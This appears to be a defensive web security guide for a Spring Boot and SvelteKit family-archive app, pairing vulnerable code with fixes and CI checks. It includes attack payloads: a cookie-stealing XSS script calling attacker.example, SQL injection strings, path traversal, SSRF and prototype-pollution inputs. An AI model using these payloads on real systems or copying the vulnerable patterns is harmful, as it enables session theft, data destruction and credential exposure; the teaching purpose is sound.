798 lines
29 KiB
Markdown
798 lines
29 KiB
Markdown
# Web Security Guide — Familienarchiv Stack
|
||
|
||
> *"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question."*
|
||
> — Nora "NullX" Steiner, Application Security Engineer
|
||
|
||
**Stack covered:** Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC
|
||
|
||
---
|
||
|
||
## Table of Contents
|
||
|
||
1. [Mass Assignment / Over-Posting (Spring Boot)](#1-mass-assignment--over-posting-spring-boot)
|
||
2. [Spring Boot Actuator Exposure](#2-spring-boot-actuator-exposure)
|
||
3. [SQL Injection via JPQL / Native Queries](#3-sql-injection-via-jpql--native-queries)
|
||
4. [XSS in SvelteKit](#4-xss-in-sveltekit)
|
||
5. [CORS Misconfiguration](#5-cors-misconfiguration)
|
||
6. [File Upload Attacks (MinIO / S3)](#6-file-upload-attacks-minio--s3)
|
||
7. [JWT / Session Attacks](#7-jwt--session-attacks)
|
||
8. [SSRF via User-Controlled URLs](#8-ssrf-via-user-controlled-urls)
|
||
9. [Insecure Direct Object Reference in File Downloads](#9-insecure-direct-object-reference-in-file-downloads)
|
||
10. [Prototype Pollution (TypeScript / Node.js layer)](#10-prototype-pollution-typescript--nodejs-layer)
|
||
11. [Secrets in Config / Environment](#11-secrets-in-config--environment)
|
||
|
||
---
|
||
|
||
## 1. Mass Assignment / Over-Posting (Spring Boot)
|
||
|
||
### The vulnerable pattern
|
||
|
||
When a controller binds a request body directly to the JPA entity, a client can set **any field** that exists on the model — including ones they should never touch.
|
||
|
||
```java
|
||
// BAD: DocumentController.java
|
||
@PutMapping("/api/documents/{id}")
|
||
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
|
||
document.setId(id);
|
||
return documentRepository.save(document); // ← saves WHATEVER the client sent
|
||
}
|
||
```
|
||
|
||
**Attack:** The client sends `{"status":"ARCHIVED","id":"<another-user-doc-uuid>"}` in the body and silently promotes a document or takes over a foreign record.
|
||
|
||
### The fix in context
|
||
|
||
Use a **DTO** for input and copy only the fields you explicitly allow. Your project already has `DocumentUpdateDTO` — use it everywhere.
|
||
|
||
```java
|
||
// GOOD: DocumentController.java
|
||
@PutMapping("/api/documents/{id}")
|
||
@RequirePermission(Permission.WRITE_ALL)
|
||
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
|
||
return documentService.updateDocument(id, dto); // service decides what changes
|
||
}
|
||
|
||
// GOOD: DocumentService.java
|
||
@Transactional
|
||
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
|
||
Document doc = documentRepository.findById(id)
|
||
.orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));
|
||
|
||
// Explicitly copy only fields the DTO is allowed to change
|
||
if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
|
||
if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
|
||
if (dto.getStatus() != null) {
|
||
validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
|
||
doc.setStatus(dto.getStatus());
|
||
}
|
||
// id, createdAt, owner — never touched
|
||
return documentRepository.save(doc);
|
||
}
|
||
```
|
||
|
||
**Why:** JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.
|
||
|
||
**Catch it in CI:**
|
||
```yaml
|
||
# Semgrep rule — flag direct @RequestBody Entity in controllers
|
||
rules:
|
||
- id: mass-assignment-entity-request-body
|
||
patterns:
|
||
- pattern: |
|
||
@RequestBody $ENTITY $PARAM
|
||
- pattern-not: |
|
||
@RequestBody $DTO $PARAM
|
||
message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
|
||
languages: [java]
|
||
severity: WARNING
|
||
```
|
||
|
||
---
|
||
|
||
## 2. Spring Boot Actuator Exposure
|
||
|
||
### The vulnerable pattern
|
||
|
||
Spring Boot Actuator ships many endpoints (`/actuator/heapdump`, `/actuator/env`, `/actuator/beans`) that expose sensitive runtime data. The default in Boot 4 exposes `health` and `info` — but misconfigured apps expose everything.
|
||
|
||
```yaml
|
||
# BAD: application.yml
|
||
management:
|
||
endpoints:
|
||
web:
|
||
exposure:
|
||
include: "*" # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
|
||
```
|
||
|
||
**Attack:** `GET /actuator/heapdump` returns a full JVM heap dump. Parse it offline with `jhat` or Eclipse MAT to extract:
|
||
- PostgreSQL passwords from `spring.datasource.password`
|
||
- MinIO secret keys
|
||
- Active Spring Session tokens (from JDBC session store)
|
||
- Full in-memory document objects
|
||
|
||
This is not theoretical — it's one of the most common critical findings in Spring Boot apps.
|
||
|
||
### The fix in context
|
||
|
||
```yaml
|
||
# GOOD: application.yml (production profile)
|
||
management:
|
||
endpoints:
|
||
web:
|
||
exposure:
|
||
include: "health,info" # only what you need for load balancer probes
|
||
endpoint:
|
||
health:
|
||
show-details: never # don't expose DB/MinIO health details publicly
|
||
```
|
||
|
||
```yaml
|
||
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
|
||
management:
|
||
endpoints:
|
||
web:
|
||
exposure:
|
||
include: "*" # full access in dev is fine
|
||
```
|
||
|
||
Also secure the actuator path with Spring Security so even `health` isn't public if you don't need it:
|
||
|
||
```java
|
||
// GOOD: SecurityConfig.java
|
||
http.authorizeHttpRequests(auth -> auth
|
||
.requestMatchers("/actuator/health").permitAll()
|
||
.requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
|
||
.requestMatchers("/api/**").authenticated()
|
||
.anyRequest().denyAll()
|
||
);
|
||
```
|
||
|
||
**Why:** A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.
|
||
|
||
**Catch it in CI:**
|
||
```bash
|
||
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
|
||
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
|
||
```
|
||
|
||
---
|
||
|
||
## 3. SQL Injection via JPQL / Native Queries
|
||
|
||
### The vulnerable pattern
|
||
|
||
Hibernate/JPA protects you when you use `@Query` with named parameters — but not when you concatenate strings.
|
||
|
||
```java
|
||
// BAD: DocumentRepository.java
|
||
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
|
||
List<Document> searchByTitle(String title);
|
||
|
||
// Also BAD: building JPQL dynamically via string concat
|
||
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
|
||
entityManager.createQuery(jpql).getResultList();
|
||
```
|
||
|
||
**Attack:** Input `%'; DROP TABLE documents; --` or `%' UNION SELECT username, password, null, null FROM app_users--` to read the user table.
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: Use named parameters — Hibernate escapes them correctly
|
||
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
|
||
List<Document> searchByTitle(@Param("query") String query);
|
||
|
||
// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
|
||
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
|
||
return documentRepository.findAll((root, cq, cb) -> {
|
||
List<Predicate> predicates = new ArrayList<>();
|
||
if (query != null) {
|
||
predicates.add(cb.like(cb.lower(root.get("title")),
|
||
"%" + query.toLowerCase().replace("%", "\\%") + "%"));
|
||
}
|
||
if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
|
||
if (to != null) predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
|
||
return cb.and(predicates.toArray(new Predicate[0]));
|
||
});
|
||
}
|
||
```
|
||
|
||
Note the manual `%` escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.
|
||
|
||
**Why:** Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.
|
||
|
||
**Catch it in CI:**
|
||
```java
|
||
// Unit test with injection payload
|
||
@Test
|
||
void searchIsSafeAgainstSqlInjection() {
|
||
String malicious = "'; DROP TABLE documents; --";
|
||
assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
|
||
assertTrue(documentRepository.count() > 0); // table still exists
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 4. XSS in SvelteKit
|
||
|
||
### The vulnerable pattern
|
||
|
||
Svelte auto-escapes `{variable}` expressions — that's your default protection. The vulnerability appears when you bypass it.
|
||
|
||
```svelte
|
||
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
|
||
<div class="description">
|
||
{@html document.description}
|
||
</div>
|
||
|
||
<!-- Also BAD: using innerHTML via DOM manipulation -->
|
||
<script>
|
||
onMount(() => {
|
||
container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
|
||
});
|
||
</script>
|
||
```
|
||
|
||
**Attack:** A user stores `<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>` in the `description` field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).
|
||
|
||
### The fix in context
|
||
|
||
```svelte
|
||
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
|
||
<div class="description">
|
||
{document.description}
|
||
</div>
|
||
|
||
<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
|
||
sanitize server-side before storing, and again before rendering -->
|
||
<script lang="ts">
|
||
import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify
|
||
|
||
// Sanitize before rendering — never trust stored HTML directly
|
||
$: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
|
||
ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
|
||
ALLOWED_ATTR: []
|
||
});
|
||
</script>
|
||
|
||
<div class="description">
|
||
{@html safeHtml}
|
||
</div>
|
||
```
|
||
|
||
**Prefer storing plain text.** Only use `{@html}` when you have a real product requirement for rich formatting — and always with sanitization.
|
||
|
||
**Why:** `{@html}` disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's `Content-Security-Policy` header is your second line of defense:
|
||
|
||
```java
|
||
// GOOD: SecurityConfig.java — add CSP header
|
||
http.headers(headers -> headers
|
||
.contentSecurityPolicy(csp -> csp
|
||
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
|
||
)
|
||
);
|
||
```
|
||
|
||
**Catch it in CI:**
|
||
```bash
|
||
# Semgrep: flag all uses of {@html} in .svelte files for manual review
|
||
grep -r '{@html' frontend/src/ --include="*.svelte"
|
||
```
|
||
|
||
---
|
||
|
||
## 5. CORS Misconfiguration
|
||
|
||
### The vulnerable pattern
|
||
|
||
```java
|
||
// BAD: SecurityConfig.java — wildcard CORS with credentials
|
||
@Bean
|
||
public CorsConfigurationSource corsConfigurationSource() {
|
||
CorsConfiguration config = new CorsConfiguration();
|
||
config.setAllowedOrigins(List.of("*")); // ← wildcard
|
||
config.setAllowCredentials(true); // ← with credentials = critical flaw
|
||
config.setAllowedMethods(List.of("*"));
|
||
// ...
|
||
}
|
||
```
|
||
|
||
Browsers block `credentials: true` with `*` origins — but some frameworks silently reflect the request `Origin` header instead:
|
||
|
||
```java
|
||
// BAD: reflects whatever origin the request sends
|
||
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
|
||
```
|
||
|
||
**Attack:** Attacker hosts a page at `https://evil.example`. Victim visits it while logged into Familienarchiv. The evil page calls `fetch('https://familienarchiv.example/api/documents', {credentials:'include'})` and reads the family's documents.
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: explicit allowlist of origins
|
||
@Bean
|
||
public CorsConfigurationSource corsConfigurationSource() {
|
||
CorsConfiguration config = new CorsConfiguration();
|
||
|
||
// Explicit origins only — no wildcards when credentials are involved
|
||
List<String> allowedOrigins = List.of(
|
||
"http://localhost:3000", // dev frontend
|
||
"https://familienarchiv.example" // prod
|
||
);
|
||
config.setAllowedOrigins(allowedOrigins);
|
||
config.setAllowCredentials(true);
|
||
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
|
||
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
|
||
config.setMaxAge(3600L);
|
||
|
||
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
|
||
source.registerCorsConfiguration("/api/**", config);
|
||
return source;
|
||
}
|
||
```
|
||
|
||
**Why:** `credentials: include` sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.
|
||
|
||
**Catch it in CI:**
|
||
```bash
|
||
# Assert that a random origin is not reflected back
|
||
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
|
||
| grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
|
||
```
|
||
|
||
---
|
||
|
||
## 6. File Upload Attacks (MinIO / S3)
|
||
|
||
### The vulnerable pattern
|
||
|
||
```java
|
||
// BAD: FileService.java — trusting the client-supplied content type and filename
|
||
public String uploadFile(MultipartFile file, UUID documentId) {
|
||
String filename = file.getOriginalFilename(); // ← attacker controls this
|
||
String contentType = file.getContentType(); // ← attacker controls this (HTTP header)
|
||
|
||
minioClient.putObject(PutObjectArgs.builder()
|
||
.bucket("archive-documents")
|
||
.object(filename) // path traversal: "../../etc/passwd"
|
||
.contentType(contentType) // stored XSS via "text/html"
|
||
.stream(file.getInputStream(), file.getSize(), -1)
|
||
.build());
|
||
return filename;
|
||
}
|
||
```
|
||
|
||
**Attacks:**
|
||
- **Path traversal:** filename `../../config/application.yml` writes outside the intended directory
|
||
- **Stored XSS via upload:** upload an HTML file with content type `text/html`, get a link, share it — browser executes the JS
|
||
- **Large file DoS:** no size limit → 10 GB upload exhausts disk/memory
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: FileService.java
|
||
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
|
||
"application/pdf", "image/jpeg", "image/png", "image/tiff",
|
||
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"
|
||
);
|
||
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB
|
||
|
||
public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
|
||
// 1. Reject disallowed types — detect from magic bytes, not just the header
|
||
String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
|
||
if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
|
||
"File type not allowed: " + detectedType);
|
||
}
|
||
|
||
// 2. Enforce size limit
|
||
if (file.getSize() > MAX_FILE_SIZE) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
|
||
}
|
||
|
||
// 3. Generate a server-controlled object key — never use the original filename
|
||
String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
|
||
String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;
|
||
|
||
minioClient.putObject(PutObjectArgs.builder()
|
||
.bucket("archive-documents")
|
||
.object(objectKey) // server-controlled path
|
||
.contentType(detectedType) // server-detected, not client-supplied
|
||
.stream(file.getInputStream(), file.getSize(), -1)
|
||
.build());
|
||
|
||
return objectKey;
|
||
}
|
||
|
||
private String detectMimeType(InputStream stream) throws IOException {
|
||
Tika tika = new Tika();
|
||
return tika.detect(stream);
|
||
}
|
||
```
|
||
|
||
**Also:** Set `Content-Disposition: attachment` on file download responses to prevent inline rendering in the browser:
|
||
|
||
```java
|
||
// GOOD: DocumentController.java — serve files as download, not inline
|
||
ResponseEntity.ok()
|
||
.header("Content-Disposition", "attachment; filename=\"document.pdf\"")
|
||
.header("Content-Type", "application/pdf")
|
||
.body(fileBytes);
|
||
```
|
||
|
||
**Why:** Browsers will render any response with `Content-Type: text/html` as a page, executing scripts. Serving files with `Content-Disposition: attachment` forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.
|
||
|
||
**Catch it in CI:**
|
||
```java
|
||
@Test
|
||
void rejectsHtmlFileUpload() throws Exception {
|
||
MockMultipartFile htmlFile = new MockMultipartFile(
|
||
"file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
|
||
mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
|
||
.andExpect(status().isBadRequest());
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 7. JWT / Session Attacks
|
||
|
||
You use **Spring Session JDBC** — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.
|
||
|
||
### The vulnerable pattern
|
||
|
||
```java
|
||
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
|
||
Jwts.parserBuilder()
|
||
.build() // ← no signing key configured
|
||
.parseClaimsJws(token); // accepts unsigned tokens
|
||
```
|
||
|
||
```java
|
||
// BAD: not invalidating the session on logout
|
||
@PostMapping("/logout")
|
||
public void logout(HttpSession session) {
|
||
// session.invalidate() never called — old session ID still works
|
||
SecurityContextHolder.clearContext();
|
||
}
|
||
```
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: Spring Security logout invalidates the session automatically
|
||
http.logout(logout -> logout
|
||
.logoutUrl("/logout")
|
||
.invalidateHttpSession(true) // deletes from spring_session table
|
||
.deleteCookies("SESSION") // clears the client cookie
|
||
.logoutSuccessUrl("/login")
|
||
);
|
||
```
|
||
|
||
```java
|
||
// GOOD: if you add JWT later, always specify the algorithm explicitly
|
||
String secret = environment.getRequiredProperty("app.jwt.secret");
|
||
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));
|
||
|
||
Jwts.parserBuilder()
|
||
.setSigningKey(key)
|
||
.requireAudience("familienarchiv-api")
|
||
.build()
|
||
.parseClaimsJws(token); // rejects alg:none and wrong-key tokens
|
||
```
|
||
|
||
**Session fixation protection** — Spring Security enables this by default, but verify it's not disabled:
|
||
|
||
```java
|
||
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
|
||
http.sessionManagement(session -> session
|
||
.sessionFixation().migrateSession() // new session ID after login
|
||
.maximumSessions(5) // limit concurrent sessions per user
|
||
);
|
||
```
|
||
|
||
**Why:** An `alg:none` JWT attack lets an attacker craft tokens with arbitrary claims (e.g., `{"role":"ADMIN"}`) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.
|
||
|
||
**Catch it in CI:**
|
||
```java
|
||
@Test
|
||
void sessionIsInvalidatedOnLogout() throws Exception {
|
||
// Login, capture session cookie
|
||
MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
|
||
.andExpect(status().is3xxRedirection()).andReturn();
|
||
String sessionCookie = login.getResponse().getHeader("Set-Cookie");
|
||
|
||
// Logout
|
||
mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());
|
||
|
||
// Assert old session is rejected
|
||
mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
|
||
.andExpect(status().isUnauthorized());
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 8. SSRF via User-Controlled URLs
|
||
|
||
### The vulnerable pattern
|
||
|
||
If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.
|
||
|
||
```java
|
||
// BAD: DocumentService.java — fetching user-supplied URL
|
||
public byte[] fetchDocumentFromUrl(String url) throws IOException {
|
||
return new URL(url).openStream().readAllBytes(); // ← no validation
|
||
}
|
||
```
|
||
|
||
**Attack:** Supply `http://169.254.169.254/latest/meta-data/` (AWS metadata), `http://minio:9000/` (internal MinIO admin), or `http://localhost:8080/actuator/env` (your own actuator) to probe or exfiltrate internal services.
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: validate against an allowlist before fetching
|
||
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");
|
||
|
||
public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
|
||
URI uri;
|
||
try {
|
||
uri = new URI(rawUrl);
|
||
} catch (URISyntaxException e) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
|
||
}
|
||
|
||
// Allowlist check
|
||
if (!ALLOWED_HOSTS.contains(uri.getHost())) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
|
||
"URL host not permitted: " + uri.getHost());
|
||
}
|
||
|
||
// Enforce HTTPS only
|
||
if (!"https".equalsIgnoreCase(uri.getScheme())) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
|
||
}
|
||
|
||
// Resolve to IP and block private ranges
|
||
InetAddress addr = InetAddress.getByName(uri.getHost());
|
||
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
|
||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
|
||
}
|
||
|
||
HttpClient client = HttpClient.newBuilder()
|
||
.followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
|
||
.connectTimeout(Duration.ofSeconds(5))
|
||
.build();
|
||
|
||
HttpResponse<byte[]> response = client.send(
|
||
HttpRequest.newBuilder(uri).GET().build(),
|
||
HttpResponse.BodyHandlers.ofByteArray()
|
||
);
|
||
return response.body();
|
||
}
|
||
```
|
||
|
||
**Why:** Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.
|
||
|
||
**Catch it in CI:** Test that `http://127.0.0.1/`, `http://169.254.169.254/`, and `http://minio:9000/` are rejected with an error status.
|
||
|
||
---
|
||
|
||
## 9. Insecure Direct Object Reference in File Downloads
|
||
|
||
### The vulnerable pattern
|
||
|
||
```java
|
||
// BAD: FileService.java — serving any object key the client requests
|
||
@GetMapping("/api/files/{objectKey}")
|
||
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
|
||
byte[] data = fileService.download(objectKey); // ← no ownership check
|
||
return ResponseEntity.ok(data);
|
||
}
|
||
```
|
||
|
||
**Attack:** A user who knows (or guesses) another document's `objectKey` can download its file. Object keys in your current pattern are `{documentId}/{uuid}.pdf` — someone with `READ_ALL` can enumerate by trying known document IDs.
|
||
|
||
### The fix in context
|
||
|
||
```java
|
||
// GOOD: tie file access to document access — go through the document, not directly to storage
|
||
@GetMapping("/api/documents/{id}/file")
|
||
@RequirePermission(Permission.READ_ALL)
|
||
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
|
||
// This call checks ownership — if the user can't see the document, they get 404
|
||
Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));
|
||
|
||
if (doc.getStoragePath() == null) {
|
||
throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
|
||
}
|
||
|
||
byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
|
||
String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";
|
||
|
||
return ResponseEntity.ok()
|
||
.header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
|
||
.header("Content-Type", doc.getMimeType())
|
||
.body(data);
|
||
}
|
||
```
|
||
|
||
**Why:** The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.
|
||
|
||
---
|
||
|
||
## 10. Prototype Pollution (TypeScript / Node.js layer)
|
||
|
||
### The vulnerable pattern
|
||
|
||
Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).
|
||
|
||
```typescript
|
||
// BAD: merging user input into an object with a recursive merge utility
|
||
function mergeDeep(target: any, source: any) {
|
||
for (const key of Object.keys(source)) {
|
||
if (source[key] instanceof Object) {
|
||
mergeDeep(target[key] ??= {}, source[key]);
|
||
} else {
|
||
target[key] = source[key]; // ← key could be "__proto__"
|
||
}
|
||
}
|
||
}
|
||
|
||
// Attacker sends: {"__proto__": {"isAdmin": true}}
|
||
mergeDeep(userSettings, JSON.parse(req.body));
|
||
// Now: ({}).isAdmin === true — for EVERY object in this process
|
||
```
|
||
|
||
### The fix in context
|
||
|
||
```typescript
|
||
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
|
||
// structuredClone is available in Node 17+ and is prototype-safe
|
||
const safeCopy = structuredClone(userInput);
|
||
|
||
// GOOD: if you must merge, use Object.create(null) as base (no prototype)
|
||
const settings = Object.create(null) as Record<string, unknown>;
|
||
Object.assign(settings, sanitizedInput);
|
||
|
||
// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
|
||
import { z } from 'zod';
|
||
const UserSettingsSchema = z.object({
|
||
theme: z.enum(['light', 'dark']),
|
||
language: z.enum(['de', 'en', 'es']),
|
||
});
|
||
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
|
||
```
|
||
|
||
**Why:** `__proto__` is a special property on all JavaScript objects. Writing to it affects `Object.prototype` — the root of every plain object in the Node.js process. If your authorization logic does `if (user.isAdmin)` and prototype pollution sets `Object.prototype.isAdmin = true`, every user becomes admin for the lifetime of the process.
|
||
|
||
**Catch it in CI:**
|
||
```bash
|
||
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
|
||
npm audit --audit-level=high
|
||
```
|
||
|
||
---
|
||
|
||
## 11. Secrets in Config / Environment
|
||
|
||
### The vulnerable pattern
|
||
|
||
```yaml
|
||
# BAD: application.yml — secrets in version control
|
||
spring:
|
||
datasource:
|
||
url: jdbc:postgresql://localhost:5432/familienarchiv
|
||
username: app
|
||
password: SuperSecret123! # ← checked into git
|
||
|
||
minio:
|
||
access-key: minioadmin
|
||
secret-key: minioadmin123
|
||
```
|
||
|
||
```bash
|
||
# BAD: .env with real credentials committed
|
||
MINIO_SECRET_KEY=production-secret-key-here
|
||
```
|
||
|
||
### The fix in context
|
||
|
||
```yaml
|
||
# GOOD: application.yml — reference environment variables, never inline secrets
|
||
spring:
|
||
datasource:
|
||
url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
|
||
username: ${DB_USERNAME:app}
|
||
password: ${DB_PASSWORD} # no default — fails fast if not set
|
||
|
||
minio:
|
||
access-key: ${MINIO_ACCESS_KEY}
|
||
secret-key: ${MINIO_SECRET_KEY}
|
||
```
|
||
|
||
```yaml
|
||
# GOOD: docker-compose.yml — inject from host environment or .env file
|
||
services:
|
||
backend:
|
||
environment:
|
||
- DB_PASSWORD=${DB_PASSWORD}
|
||
- MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
|
||
```
|
||
|
||
```bash
|
||
# .env.example (committed — template only, no real values)
|
||
DB_PASSWORD=change-me
|
||
MINIO_SECRET_KEY=change-me
|
||
|
||
# .env (NOT committed — add to .gitignore)
|
||
DB_PASSWORD=actual-production-secret
|
||
```
|
||
|
||
**Verify your .gitignore:**
|
||
```gitignore
|
||
.env
|
||
.env.local
|
||
*.env
|
||
application-prod.yml
|
||
application-production.yml
|
||
```
|
||
|
||
**Why:** Git history is permanent. Even if you delete a secret in a later commit, it's still in `git log` and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.
|
||
|
||
**Catch it in CI:**
|
||
```bash
|
||
# Run trufflehog or gitleaks on every PR
|
||
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
|
||
```
|
||
|
||
---
|
||
|
||
## Summary Matrix
|
||
|
||
| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|
||
|---|---|---|---|---|
|
||
| 1 | Mass Assignment | HIGH | `@RequestBody Entity` in any controller | DTOs everywhere |
|
||
| 2 | Actuator Exposure | CRITICAL | `include: "*"` in prod | Allowlist + require ADMIN |
|
||
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
|
||
| 4 | XSS | HIGH | `{@html}` with stored content | DOMPurify + CSP header |
|
||
| 5 | CORS Misconfiguration | HIGH | `allowedOriginPatterns("*")` with credentials | Explicit origin allowlist |
|
||
| 6 | File Upload | MEDIUM–HIGH | No type detection, no size limit | Tika magic bytes + size cap |
|
||
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
|
||
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
|
||
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
|
||
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
|
||
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |
|
||
|
||
---
|
||
|
||
## Recommended CI Pipeline Additions
|
||
|
||
```yaml
|
||
# .github/workflows/security.yml (or equivalent in your Gitea CI)
|
||
security:
|
||
steps:
|
||
- name: Dependency audit (npm)
|
||
run: cd frontend && npm audit --audit-level=high
|
||
|
||
- name: Dependency audit (Maven)
|
||
run: cd backend && ./mvnw org.owasp:dependency-check-maven:check
|
||
|
||
- name: Secret scanning
|
||
run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
|
||
|
||
- name: SAST (Semgrep)
|
||
run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/
|
||
|
||
- name: Actuator check (integration)
|
||
run: |
|
||
curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
|
||
curl -sf http://localhost:8080/actuator/env && exit 1 || true
|
||
```
|
||
|
||
---
|
||
|
||
*Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021*
|
||
